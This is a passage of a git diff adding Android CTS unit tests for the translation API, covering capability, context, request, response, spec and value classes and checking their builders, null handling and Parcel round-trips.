+                        /* supportedTranslationFlags= */ 0));
+    }
+
+    @Test
+    public void testCapability_validCapability() {
+        final TranslationCapability capability =
+                new TranslationCapability(TranslationCapability.STATE_AVAILABLE_TO_DOWNLOAD,
+                        sourceSpec, targetSpec,/* uiTranslationEnabled= */ true,
+                        TranslationContext.FLAG_TRANSLITERATION);
+
+        assertThat(capability.getState())
+                .isEqualTo(TranslationCapability.STATE_AVAILABLE_TO_DOWNLOAD);
+        assertThat(capability.getSupportedTranslationFlags())
+                .isEqualTo(TranslationContext.FLAG_TRANSLITERATION);
+        assertThat(capability.isUiTranslationEnabled()).isTrue();
+
+        assertThat(capability.getSourceSpec().getLanguage()).isEqualTo("en");
+        assertThat(capability.getSourceSpec().getDataFormat())
+                .isEqualTo(TranslationSpec.DATA_FORMAT_TEXT);
+
+        assertThat(capability.getTargetSpec().getLanguage()).isEqualTo("es");
+        assertThat(capability.getTargetSpec().getDataFormat())
+                .isEqualTo(TranslationSpec.DATA_FORMAT_TEXT);
+    }
+
+    @Test
+    public void testParceledCapability() {
+        final TranslationCapability capability =
+                new TranslationCapability(TranslationCapability.STATE_AVAILABLE_TO_DOWNLOAD,
+                        sourceSpec, targetSpec,/* uiTranslationEnabled= */ true,
+                        TranslationContext.FLAG_TRANSLITERATION);
+
+        assertThat(capability.getState())
+                .isEqualTo(TranslationCapability.STATE_AVAILABLE_TO_DOWNLOAD);
+        assertThat(capability.getSupportedTranslationFlags())
+                .isEqualTo(TranslationContext.FLAG_TRANSLITERATION);
+        assertThat(capability.isUiTranslationEnabled()).isTrue();
+
+        assertThat(capability.getSourceSpec().getLanguage()).isEqualTo("en");
+        assertThat(capability.getSourceSpec().getDataFormat())
+                .isEqualTo(TranslationSpec.DATA_FORMAT_TEXT);
+
+        assertThat(capability.getTargetSpec().getLanguage()).isEqualTo("es");
+        assertThat(capability.getTargetSpec().getDataFormat())
+                .isEqualTo(TranslationSpec.DATA_FORMAT_TEXT);
+
+        final Parcel parcel = Parcel.obtain();
+        capability.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        final TranslationCapability parceledCapability =
+                TranslationCapability.CREATOR.createFromParcel(parcel);
+        parcel.recycle();
+
+        assertThat(parceledCapability.getState())
+                .isEqualTo(TranslationCapability.STATE_AVAILABLE_TO_DOWNLOAD);
+        assertThat(parceledCapability.getSupportedTranslationFlags())
+                .isEqualTo(TranslationContext.FLAG_TRANSLITERATION);
+        assertThat(parceledCapability.isUiTranslationEnabled()).isTrue();
+
+        assertThat(parceledCapability.getSourceSpec().getLanguage()).isEqualTo("en");
+        assertThat(parceledCapability.getSourceSpec().getDataFormat())
+                .isEqualTo(TranslationSpec.DATA_FORMAT_TEXT);
+
+        assertThat(parceledCapability.getTargetSpec().getLanguage()).isEqualTo("es");
+        assertThat(parceledCapability.getTargetSpec().getDataFormat())
+                .isEqualTo(TranslationSpec.DATA_FORMAT_TEXT);
+    }
+}
diff --git a/tests/translation/src/android/translation/cts/unittests/TranslationContextTest.java b/tests/translation/src/android/translation/cts/unittests/TranslationContextTest.java
new file mode 100644
index 0000000..415f00f
--- /dev/null
+++ b/tests/translation/src/android/translation/cts/unittests/TranslationContextTest.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.translation.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.os.Parcel;
+import android.view.translation.TranslationContext;
+import android.view.translation.TranslationSpec;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class TranslationContextTest {
+
+    private final TranslationSpec sourceSpec =
+            new TranslationSpec("en", TranslationSpec.DATA_FORMAT_TEXT);
+    private final TranslationSpec targetSpec =
+            new TranslationSpec("es", TranslationSpec.DATA_FORMAT_TEXT);
+
+    @Test
+    public void testContext_nullSpecs() {
+        assertThrows(NullPointerException.class,
+                () -> new TranslationContext.Builder(null, targetSpec));
+        assertThrows(NullPointerException.class,
+                () -> new TranslationContext.Builder(sourceSpec, null));
+    }
+
+    @Test
+    public void testContext_validContext() {
+        final TranslationContext context =
+                new TranslationContext.Builder(sourceSpec, targetSpec)
+                .setTranslationFlags(TranslationContext.FLAG_DICTIONARY_DESCRIPTION)
+                .build();
+
+        assertThat(context.getTranslationFlags())
+                .isEqualTo(TranslationContext.FLAG_DICTIONARY_DESCRIPTION);
+
+        assertThat(context.getSourceSpec().getLanguage()).isEqualTo("en");
+        assertThat(context.getSourceSpec().getDataFormat())
+                .isEqualTo(TranslationSpec.DATA_FORMAT_TEXT);
+
+        assertThat(context.getTargetSpec().getLanguage()).isEqualTo("es");
+        assertThat(context.getTargetSpec().getDataFormat())
+                .isEqualTo(TranslationSpec.DATA_FORMAT_TEXT);
+    }
+
+    @Test
+    public void testParceledContext() {
+        final TranslationContext context = new TranslationContext.Builder(sourceSpec, targetSpec)
+                .build();
+
+        assertThat(context.getTranslationFlags()).isEqualTo(0);
+
+        assertThat(context.getSourceSpec().getLanguage()).isEqualTo("en");
+        assertThat(context.getSourceSpec().getDataFormat())
+                .isEqualTo(TranslationSpec.DATA_FORMAT_TEXT);
+
+        assertThat(context.getTargetSpec().getLanguage()).isEqualTo("es");
+        assertThat(context.getTargetSpec().getDataFormat())
+                .isEqualTo(TranslationSpec.DATA_FORMAT_TEXT);
+
+        final Parcel parcel = Parcel.obtain();
+        context.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        final TranslationContext parceledContext =
+                TranslationContext.CREATOR.createFromParcel(parcel);
+        parcel.recycle();
+
+        assertThat(parceledContext.getTranslationFlags()).isEqualTo(0);
+
+        assertThat(parceledContext.getSourceSpec().getLanguage()).isEqualTo("en");
+        assertThat(parceledContext.getSourceSpec().getDataFormat())
+                .isEqualTo(TranslationSpec.DATA_FORMAT_TEXT);
+
+        assertThat(parceledContext.getTargetSpec().getLanguage()).isEqualTo("es");
+        assertThat(parceledContext.getTargetSpec().getDataFormat())
+                .isEqualTo(TranslationSpec.DATA_FORMAT_TEXT);
+    }
+}
diff --git a/tests/translation/src/android/translation/cts/unittests/TranslationRequestTest.java b/tests/translation/src/android/translation/cts/unittests/TranslationRequestTest.java
new file mode 100644
index 0000000..a36db64
--- /dev/null
+++ b/tests/translation/src/android/translation/cts/unittests/TranslationRequestTest.java
@@ -0,0 +1,220 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.translation.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.Parcel;
+import android.view.autofill.AutofillId;
+import android.view.translation.TranslationRequest;
+import android.view.translation.TranslationRequestValue;
+import android.view.translation.ViewTranslationRequest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+
+@RunWith(AndroidJUnit4.class)
+public class TranslationRequestTest {
+
+    private final TranslationRequestValue mValue = TranslationRequestValue.forText("hello");
+
+    private final ViewTranslationRequest mRequest = new ViewTranslationRequest
+            .Builder(new AutofillId(17))
+            .setValue("sample id", TranslationRequestValue.forText("sample text"))
+            .build();
+
+    @Test
+    public void testBuilder_validViewTranslationRequest() {
+        final TranslationRequest request = new TranslationRequest.Builder()
+                .addViewTranslationRequest(mRequest)
+                .build();
+
+        assertThat(request.getTranslationRequestValues().size()).isEqualTo(0);
+        assertThat(request.getViewTranslationRequests().size()).isEqualTo(1);
+
+        final ViewTranslationRequest viewRequest =
+                request.getViewTranslationRequests().get(0);
+        assertThat(viewRequest.getAutofillId()).isEqualTo(new AutofillId(17));
+        assertThat(viewRequest.getKeys().size()).isEqualTo(1);
+        assertThat(viewRequest.getKeys()).containsExactly("sample id");
+        assertThat(viewRequest.getValue("sample id").getText()).isEqualTo("sample text");
+    }
+
+    @Test
+    public void testBuilder_validTranslationRequestValue() {
+        final TranslationRequest request = new TranslationRequest.Builder()
+                .addTranslationRequestValue(mValue)
+                .build();
+
+        assertThat(request.getTranslationRequestValues().size()).isEqualTo(1);
+        assertThat(request.getViewTranslationRequests().size()).isEqualTo(0);
+
+        final TranslationRequestValue value =
+                request.getTranslationRequestValues().get(0);
+        assertThat(value.getText()).isEqualTo("hello");
+    }
+
+    @Test
+    public void testBuilder_validFlags() {
+        final TranslationRequest request = new TranslationRequest.Builder()
+                .setFlags(TranslationRequest.FLAG_PARTIAL_RESPONSES)
+                .build();
+
+        assertThat(request.getFlags()).isEqualTo(TranslationRequest.FLAG_PARTIAL_RESPONSES);
+        assertThat(request.getTranslationRequestValues().size()).isEqualTo(0);
+        assertThat(request.getViewTranslationRequests().size()).isEqualTo(0);
+    }
+
+    @Test
+    public void testBuilder_mixingSetters() {
+        final ArrayList<TranslationRequestValue> values = new ArrayList<>();
+        values.add(mValue);
+        final ArrayList<ViewTranslationRequest> requests = new ArrayList<>();
+        requests.add(mRequest);
+
+        final TranslationRequest request = new TranslationRequest.Builder()
+                .setTranslationRequestValues(values)
+                .setViewTranslationRequests(requests)
+                .build();
+
+        assertThat(request.getTranslationRequestValues().size()).isEqualTo(1);
+        assertThat(request.getViewTranslationRequests().size()).isEqualTo(1);
+
+        final ViewTranslationRequest viewRequest =
+                request.getViewTranslationRequests().get(0);
+        assertThat(viewRequest.getAutofillId()).isEqualTo(new AutofillId(17));
+        assertThat(viewRequest.getKeys().size()).isEqualTo(1);
+        assertThat(viewRequest.getKeys()).containsExactly("sample id");
+        assertThat(viewRequest.getValue("sample id").getText()).isEqualTo("sample text");
+
+        final TranslationRequestValue value =
+                request.getTranslationRequestValues().get(0);
+        assertThat(value.getText()).isEqualTo("hello");
+    }
+
+    @Test
+    public void testParceledRequest_validTranslationRequestValues() {
+        final TranslationRequest request = new TranslationRequest.Builder()
+                .addTranslationRequestValue(mValue)
+                .addTranslationRequestValue(TranslationRequestValue.forText("world"))
+                .build();
+
+        final Parcel parcel = Parcel.obtain();
+        request.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        final TranslationRequest parceledRequest =
+                TranslationRequest.CREATOR.createFromParcel(parcel);
+
+        assertThat(parceledRequest.getTranslationRequestValues().size()).isEqualTo(2);
+        assertThat(parceledRequest.getViewTranslationRequests().size()).isEqualTo(0);
+
+        final TranslationRequestValue value1 =
+                parceledRequest.getTranslationRequestValues().get(0);
+        assertThat(value1.getText()).isEqualTo("hello");
+
+        final TranslationRequestValue value2 =
+                parceledRequest.getTranslationRequestValues().get(1);
+        assertThat(value2.getText()).isEqualTo("world");
+    }
+
+    @Test
+    public void testBuilder_sameAutofillIdViewTranslationRequests() {
+        final TranslationRequest request = new TranslationRequest.Builder()
+                .addViewTranslationRequest(mRequest)
+                .addViewTranslationRequest(
+                        new ViewTranslationRequest.Builder(new AutofillId(17))
+                                .setValue("id2", TranslationRequestValue.forText("text2"))
+                                .build())
+                .build();
+
+        assertThat(request.getTranslationRequestValues().size()).isEqualTo(0);
+        assertThat(request.getViewTranslationRequests().size()).isEqualTo(2);
+
+        final ViewTranslationRequest viewRequest =
+                request.getViewTranslationRequests().get(0);
+        assertThat(viewRequest.getAutofillId()).isEqualTo(new AutofillId(17));
+        assertThat(viewRequest.getKeys().size()).isEqualTo(1);
+        assertThat(viewRequest.getKeys()).containsExactly("sample id");
+        assertThat(viewRequest.getValue("sample id").getText()).isEqualTo("sample text");
+
+        final ViewTranslationRequest viewRequest2 =
+                request.getViewTranslationRequests().get(1);
+        assertThat(viewRequest2.getAutofillId()).isEqualTo(new AutofillId(17));
+        assertThat(viewRequest2.getKeys().size()).isEqualTo(1);
+        assertThat(viewRequest2.getKeys()).containsExactly("id2");
+        assertThat(viewRequest2.getValue("id2").getText()).isEqualTo("text2");
+    }
+
+    @Test
+    public void testBuilder_mixingAdders() {
+        final TranslationRequest request = new TranslationRequest.Builder()
+                .addViewTranslationRequest(mRequest)
+                .addTranslationRequestValue(mValue)
+                .build();
+
+        assertThat(request.getTranslationRequestValues().size()).isEqualTo(1);
+        assertThat(request.getViewTranslationRequests().size()).isEqualTo(1);
+
+        final ViewTranslationRequest viewRequest =
+                request.getViewTranslationRequests().get(0);
+        assertThat(viewRequest.getAutofillId()).isEqualTo(new AutofillId(17));
+        assertThat(viewRequest.getKeys().size()).isEqualTo(1);
+        assertThat(viewRequest.getKeys()).containsExactly("sample id");
+        assertThat(viewRequest.getValue("sample id").getText()).isEqualTo("sample text");
+
+        final TranslationRequestValue value =
+                request.getTranslationRequestValues().get(0);
+        assertThat(value.getText()).isEqualTo("hello");
+    }
+
+    @Test
+    public void testParceledRequest_validViewTranslationRequests() {
+        final TranslationRequest request = new TranslationRequest.Builder()
+                .addViewTranslationRequest(mRequest)
+                .addViewTranslationRequest(new ViewTranslationRequest.Builder(new AutofillId(42))
+                        .setValue("id2", TranslationRequestValue.forText("test"))
+                        .build())
+                .build();
+
+        final Parcel parcel = Parcel.obtain();
+        request.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        final TranslationRequest parceledRequest =
+                TranslationRequest.CREATOR.createFromParcel(parcel);
+
+        assertThat(parceledRequest.getTranslationRequestValues().size()).isEqualTo(0);
+        assertThat(parceledRequest.getViewTranslationRequests().size()).isEqualTo(2);
+
+        final ViewTranslationRequest request1 =
+                parceledRequest.getViewTranslationRequests().get(0);
+        assertThat(request1.getAutofillId()).isEqualTo(new AutofillId(17));
+        assertThat(request1.getKeys().size()).isEqualTo(1);
+        assertThat(request1.getKeys()).containsExactly("sample id");
+        assertThat(request1.getValue("sample id").getText()).isEqualTo("sample text");
+
+        final ViewTranslationRequest request2 =
+                parceledRequest.getViewTranslationRequests().get(1);
+        assertThat(request2.getAutofillId()).isEqualTo(new AutofillId(42));
+        assertThat(request2.getKeys().size()).isEqualTo(1);
+        assertThat(request2.getKeys()).containsExactly("id2");
+        assertThat(request2.getValue("id2").getText()).isEqualTo("test");
+    }
+}
\ No newline at end of file
diff --git a/tests/translation/src/android/translation/cts/unittests/TranslationResponseTest.java b/tests/translation/src/android/translation/cts/unittests/TranslationResponseTest.java
new file mode 100644
index 0000000..f7dd3d1b
--- /dev/null
+++ b/tests/translation/src/android/translation/cts/unittests/TranslationResponseTest.java
@@ -0,0 +1,229 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.translation.cts.unittests;
+
+import static android.view.translation.TranslationResponseValue.STATUS_SUCCESS;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.Parcel;
+import android.util.SparseArray;
+import android.view.autofill.AutofillId;
+import android.view.translation.TranslationResponse;
+import android.view.translation.TranslationResponseValue;
+import android.view.translation.ViewTranslationResponse;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+
+@RunWith(AndroidJUnit4.class)
+public class TranslationResponseTest {
+
+    private final TranslationResponseValue mValue =
+            new TranslationResponseValue.Builder(STATUS_SUCCESS)
+                    .setText("hello")
+                    .build();
+
+    private final ViewTranslationResponse mViewResponse = new ViewTranslationResponse
+            .Builder(new AutofillId(17))
+            .setValue("sample id",
+                    new TranslationResponseValue.Builder(STATUS_SUCCESS)
+                            .setText("sample text")
+                            .build())
+            .build();
+
+    @Test
+    public void testBuilder_validViewTranslationResponse() {
+        final TranslationResponse response =
+                new TranslationResponse.Builder(TranslationResponse.TRANSLATION_STATUS_SUCCESS)
+                        .setViewTranslationResponse(0, mViewResponse)
+                        .build();
+
+        assertThat(response.isFinalResponse()).isTrue();
+        assertThat(response.getTranslationResponseValues().size()).isEqualTo(0);
+        assertThat(response.getViewTranslationResponses().size()).isEqualTo(1);
+
+        final ViewTranslationResponse viewResponse =
+                response.getViewTranslationResponses().get(0);
+        assertThat(viewResponse.getAutofillId()).isEqualTo(new AutofillId(17));
+        assertThat(viewResponse.getKeys().size()).isEqualTo(1);
+        assertThat(viewResponse.getValue("sample id").getText()).isEqualTo("sample text");
+    }
+
+    @Test
+    public void testBuilder_errorViewTranslationResponse() {
+        final TranslationResponse response =
+                new TranslationResponse.Builder(TranslationResponse.TRANSLATION_STATUS_SUCCESS)
+                        .setViewTranslationResponse(0, new ViewTranslationResponse
+                                .Builder(new AutofillId(42))
+                                .setValue("id2",
+                                        TranslationResponseValue.forError())
+                                .build())
+                        .build();
+
+        assertThat(response.isFinalResponse()).isTrue();
+        assertThat(response.getTranslationResponseValues().size()).isEqualTo(0);
+        assertThat(response.getViewTranslationResponses().size()).isEqualTo(1);
+
+        final ViewTranslationResponse viewResponse =
+                response.getViewTranslationResponses().get(0);
+        assertThat(viewResponse.getAutofillId()).isEqualTo(new AutofillId(42));
+        assertThat(viewResponse.getKeys().size()).isEqualTo(1);
+        assertThat(viewResponse.getValue("id2").getStatusCode())
+                .isEqualTo(TranslationResponseValue.STATUS_ERROR);
+    }
+
+    @Test
+    public void testBuilder_validTranslationResponseValue() {
+        final TranslationResponse response =
+                new TranslationResponse.Builder(TranslationResponse.TRANSLATION_STATUS_SUCCESS)
+                        .setFinalResponse(false)
+                        .setTranslationResponseValue(0, mValue)
+                        .build();
+
+        assertThat(response.isFinalResponse()).isFalse();
+        assertThat(response.getTranslationResponseValues().size()).isEqualTo(1);
+        assertThat(response.getViewTranslationResponses().size()).isEqualTo(0);
+
+        final TranslationResponseValue value =
+                response.getTranslationResponseValues().get(0);
+        assertThat(value.getText()).isEqualTo("hello");
+    }
+
+    @Test
+    public void testParceledResponse_validTranslationResponseValues() {
+        final TranslationResponse response =
+                new TranslationResponse.Builder(TranslationResponse.TRANSLATION_STATUS_SUCCESS)
+                        .setTranslationResponseValue(0, mValue)
+                        .setTranslationResponseValue(2,
+                                new TranslationResponseValue.Builder(STATUS_SUCCESS)
+                                        .setText("world")
+                                        .build())
+                        .build();
+
+        final Parcel parcel = Parcel.obtain();
+        response.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        final TranslationResponse parceledResponse =
+                TranslationResponse.CREATOR.createFromParcel(parcel);
+
+        assertThat(parceledResponse.isFinalResponse()).isTrue();
+        assertThat(parceledResponse.getTranslationResponseValues().size()).isEqualTo(2);
+        assertThat(parceledResponse.getViewTranslationResponses().size()).isEqualTo(0);
+
+        final TranslationResponseValue value1 =
+                parceledResponse.getTranslationResponseValues().get(0);
+        assertThat(value1.getText()).isEqualTo("hello");
+
+        final TranslationResponseValue value2 =
+                parceledResponse.getTranslationResponseValues().get(2);
+        assertThat(value2.getText()).isEqualTo("world");
+    }
+
+    @Test
+    public void testBuilder_mixingAdders() {
+        final TranslationResponse response =
+                new TranslationResponse.Builder(TranslationResponse.TRANSLATION_STATUS_SUCCESS)
+                        .setViewTranslationResponse(0, mViewResponse)
+                        .setTranslationResponseValue(0, mValue)
+                        .build();
+
+        assertThat(response.isFinalResponse()).isTrue();
+        assertThat(response.getTranslationResponseValues().size()).isEqualTo(1);
+        assertThat(response.getViewTranslationResponses().size()).isEqualTo(1);
+
+        final ViewTranslationResponse viewResponse =
+                response.getViewTranslationResponses().get(0);
+        assertThat(viewResponse.getAutofillId()).isEqualTo(new AutofillId(17));
+        assertThat(viewResponse.getKeys().size()).isEqualTo(1);
+        assertThat(viewResponse.getValue("sample id").getText()).isEqualTo("sample text");
+
+        final TranslationResponseValue value =
+                response.getTranslationResponseValues().get(0);
+        assertThat(value.getText()).isEqualTo("hello");
+    }
+
+    @Test
+    public void testBuilder_mixingSetters() {
+        final SparseArray<TranslationResponseValue> values = new SparseArray<>();
+        values.set(0, mValue);
+        final SparseArray<ViewTranslationResponse> responses = new SparseArray<>();
+        responses.set(0, mViewResponse);
+
+        final TranslationResponse response =
+                new TranslationResponse.Builder(TranslationResponse.TRANSLATION_STATUS_SUCCESS)
+                        .setViewTranslationResponses(responses)
+                        .setTranslationResponseValues(values)
+                        .build();
+
+        assertThat(response.isFinalResponse()).isTrue();
+        assertThat(response.getTranslationResponseValues().size()).isEqualTo(1);
+        assertThat(response.getViewTranslationResponses().size()).isEqualTo(1);
+
+        final ViewTranslationResponse viewResponse =
+                response.getViewTranslationResponses().get(0);
+        assertThat(viewResponse.getAutofillId()).isEqualTo(new AutofillId(17));
+        assertThat(viewResponse.getKeys().size()).isEqualTo(1);
+        assertThat(viewResponse.getValue("sample id").getText()).isEqualTo("sample text");
+
+        final TranslationResponseValue value =
+                response.getTranslationResponseValues().get(0);
+        assertThat(value.getText()).isEqualTo("hello");
+    }
+
+    @Test
+    public void testParceledResponse_validViewTranslationResponses() {
+        final TranslationResponse response =
+                new TranslationResponse.Builder(TranslationResponse.TRANSLATION_STATUS_SUCCESS)
+                        .setViewTranslationResponse(0, mViewResponse)
+                        .setViewTranslationResponse(2, new ViewTranslationResponse
+                                .Builder(new AutofillId(42))
+                                .setValue("id2",
+                                        new TranslationResponseValue.Builder(STATUS_SUCCESS)
+                                                .setText("test")
+                                                .build())
+                                .build())
+                        .build();
+
+        final Parcel parcel = Parcel.obtain();
+        response.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        final TranslationResponse parceledResponse =
+                TranslationResponse.CREATOR.createFromParcel(parcel);
+
+        assertThat(parceledResponse.isFinalResponse()).isTrue();
+        assertThat(parceledResponse.getTranslationResponseValues().size()).isEqualTo(0);
+        assertThat(parceledResponse.getViewTranslationResponses().size()).isEqualTo(2);
+
+        final ViewTranslationResponse viewResponse1 =
+                parceledResponse.getViewTranslationResponses().get(0);
+        assertThat(viewResponse1.getAutofillId()).isEqualTo(new AutofillId(17));
+        assertThat(viewResponse1.getKeys().size()).isEqualTo(1);
+        assertThat(viewResponse1.getValue("sample id").getText()).isEqualTo("sample text");
+
+        final ViewTranslationResponse viewResponse2 =
+                parceledResponse.getViewTranslationResponses().get(2);
+        assertThat(viewResponse2.getAutofillId()).isEqualTo(new AutofillId(42));
+        assertThat(viewResponse2.getKeys().size()).isEqualTo(1);
+        assertThat(viewResponse2.getValue("id2").getText()).isEqualTo("test");
+    }
+
+}
\ No newline at end of file
diff --git a/tests/translation/src/android/translation/cts/unittests/TranslationSpecTest.java b/tests/translation/src/android/translation/cts/unittests/TranslationSpecTest.java
new file mode 100644
index 0000000..5cf9ab1
--- /dev/null
+++ b/tests/translation/src/android/translation/cts/unittests/TranslationSpecTest.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.translation.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.os.Parcel;
+import android.view.translation.TranslationSpec;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class TranslationSpecTest {
+
+    @Test
+    public void testSpec_nullLanguage() {
+        assertThrows(NullPointerException.class, () -> {
+            final TranslationSpec spec =
+                    new TranslationSpec(null, TranslationSpec.DATA_FORMAT_TEXT);
+        });
+    }
+
+    @Test
+    public void testSpec_validSpec() {
+        final TranslationSpec spec = new TranslationSpec("en", TranslationSpec.DATA_FORMAT_TEXT);
+
+        assertThat(spec.getDataFormat()).isEqualTo(TranslationSpec.DATA_FORMAT_TEXT);
+        assertThat(spec.getLanguage()).isEqualTo("en");
+    }
+
+    @Test
+    public void testParceledSpec() {
+        final TranslationSpec spec = new TranslationSpec("en", TranslationSpec.DATA_FORMAT_TEXT);
+
+        assertThat(spec.getDataFormat()).isEqualTo(TranslationSpec.DATA_FORMAT_TEXT);
+        assertThat(spec.getLanguage()).isEqualTo("en");
+
+        final Parcel parcel = Parcel.obtain();
+        spec.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        final TranslationSpec parceledSpec = TranslationSpec.CREATOR.createFromParcel(parcel);
+        parcel.recycle();
+
+        assertThat(parceledSpec.getDataFormat()).isEqualTo(TranslationSpec.DATA_FORMAT_TEXT);
+        assertThat(parceledSpec.getLanguage()).isEqualTo("en");
+    }
+
+}
\ No newline at end of file
diff --git a/tests/translation/src/android/translation/cts/unittests/TranslationValueTest.java b/tests/translation/src/android/translation/cts/unittests/TranslationValueTest.java
new file mode 100644
index 0000000..dd6217a
--- /dev/null
+++ b/tests/translation/src/android/translation/cts/unittests/TranslationValueTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.translation.cts.unittests;
+
+import static android.view.translation.TranslationResponseValue.STATUS_SUCCESS;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.view.translation.TranslationRequestValue;
+import android.view.translation.TranslationResponseValue;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class TranslationValueTest {
+
+    @Test
+    public void testTranslationRequestValue_forText() {
+        final TranslationRequestValue value = TranslationRequestValue.forText("sample text");
+
+        assertThat(value.getText()).isEqualTo("sample text");
+    }
+
+    @Test
+    public void testTranslationResponseValue_validBuilder() {
+        final TranslationResponseValue value = new TranslationResponseValue.Builder(STATUS_SUCCESS)
+                .setText("sample text")
+                .build();
+
+        assertThat(value.getStatusCode()).isEqualTo(STATUS_SUCCESS);
+        assertThat(value.getText()).isEqualTo("sample text");
+    }
+
+    @Test
+    public void testTranslationResponseValue_forError() {
+        final TranslationResponseValue value = TranslationResponseValue.forError();
+
+        assertThat(value.getStatusCode()).isEqualTo(TranslationResponseValue.STATUS_ERROR);
+        assertThat(value.getText()).isNull();
+    }
+
+    @Test
+    public void testTranslationResponseValue_validDictionary() {
+        final TranslationResponseValue value = new TranslationResponseValue.Builder(STATUS_SUCCESS)
+                .setDictionaryDescription("definition")
+                .build();
+
+        assertThat(value.getStatusCode()).isEqualTo(STATUS_SUCCESS);
+        assertThat(value.getText()).isNull();
+        assertThat(value.getDictionaryDescription()).isEqualTo("definition");
+        assertThat(value.getTransliteration()).isNull();
+    }
+
+    @Test
+    public void testTranslationResponseValue_validTransliteration() {
+        final TranslationResponseValue value = new TranslationResponseValue.Builder(STATUS_SUCCESS)
+                .setTransliteration("pronunciation")
+                .build();
+
+        assertThat(value.getStatusCode()).isEqualTo(STATUS_SUCCESS);
+        assertThat(value.getText()).isNull();
+        assertThat(value.getDictionaryDescription()).isNull();
+        assertThat(value.getTransliteration()).isEqualTo("pronunciation");
+    }
+}
diff --git a/tests/translation/src/android/translation/cts/unittests/ViewTranslationRequestTest.java b/tests/translation/src/android/translation/cts/unittests/ViewTranslationRequestTest.java
new file mode 100644
index 0000000..a27672a
--- /dev/null
+++ b/tests/translation/src/android/translation/cts/unittests/ViewTranslationRequestTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.translation.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.view.translation.TranslationRequestValue;
+import android.view.translation.ViewTranslationRequest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
